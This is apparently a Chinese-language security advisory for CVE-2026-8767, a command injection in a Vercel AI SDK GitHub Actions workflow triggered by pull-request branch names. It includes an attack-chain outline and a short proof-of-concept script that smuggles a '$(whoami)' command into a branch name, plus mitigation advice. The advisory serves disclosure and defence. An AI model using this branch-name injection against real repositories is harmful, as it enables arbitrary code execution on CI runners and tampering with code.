IPBUF安全漏洞报告
English
CVE-2026-8767 CVSS 5.0 中危

CVE-2026-8767: Vercel AI OS命令注入漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8767
漏洞类型
操作系统命令注入
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vercel AI SDK

相关标签

操作系统命令注入Vercel AICVE-2026-8767GitHub ActionsCI/CDRCE

漏洞概述

Vercel AI SDK版本3.0.97及之前版本中存在一处安全漏洞。该漏洞位于`.github/workflows/prettier-on-automerge.yml`文件的PR Branch Name Interpolation组件中。攻击者可以通过操纵PR分支名称,导致操作系统命令注入攻击。尽管攻击复杂度较高且需要低权限,但该漏洞可被远程利用,且已有公开利用代码。厂商已收到通知但尚未回复,建议用户尽快采取防护措施。

技术细节

该漏洞的根源在于GitHub Actions工作流文件`.github/workflows/prettier-on-automerge.yml`中对PR分支名称的处理不当。在PR Branch Name Interpolation组件的`run`函数中,程序直接将用户可控制的分支名称作为参数传递给操作系统命令执行环境,而未进行严格的输入验证或清理。在GitHub Actions环境中,当Pull Request被创建或更新时,工作流会被触发。如果攻击者精心构造一个包含Shell元字符(如 `;`, `|`, `&` 或反引号)的分支名称,这些字符将被传递给底层的Shell解释器。由于工作流可能拥有较高的仓库操作权限,这可能导致任意代码执行。攻击者可以通过创建恶意分支并提交PR来触发工作流。虽然CVSS评分显示攻击复杂度较高(AC:H),可能是因为需要绕过某些配置或利用特定的上下文,但一旦成功,攻击者即可在CI/CD运行环境中执行任意命令,进而窃取代码库信息、注入恶意软件或破坏构建流程。

攻击链分析

STEP 1
侦察
攻击者识别出目标仓库使用Vercel AI SDK并包含存在漏洞的GitHub Actions工作流文件。
STEP 2
准备
攻击者克隆目标仓库,并创建一个包含Shell元字符(如 `;` 或反引号)的恶意分支名称。
STEP 3
投递
攻击者将恶意分支推送到远程仓库,并基于此分支创建一个Pull Request。
STEP 4
执行
GitHub Actions自动触发工作流,由于未正确过滤分支名称,恶意代码被注入到操作系统命令中并执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-8767: OS Command Injection via Branch Name # This PoC demonstrates how a malicious branch name can trigger command injection. # Step 1: Create a new branch with a payload in the name # The payload uses a semicolon to chain commands. `$(whoami)` executes the command. BRANCH_NAME="feature/clean-styles;$(whoami)" git checkout -b "$BRANCH_NAME" # Step 2: Commit and push to trigger the GitHub Actions workflow echo "test" > test.txt git add test.txt git commit -m "Test malicious branch" git push origin "$BRANCH_NAME" # Step 3: Create a Pull Request # When the PR is created, the vulnerable workflow `.github/workflows/prettier-on-automerge.yml` # will interpolate the branch name into a command, executing `whoami` on the runner.

影响范围

Vercel AI SDK <= 3.0.97

防御指南

临时缓解措施
在厂商发布补丁之前,建议暂时禁用受影响的GitHub Actions工作流文件`.github/workflows/prettier-on-automerge.yml`。如果必须使用,请修改工作流逻辑,确保在将分支名称传递给系统命令之前,使用环境变量或脚本对其进行严格的转义处理,移除所有可能的Shell特殊字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表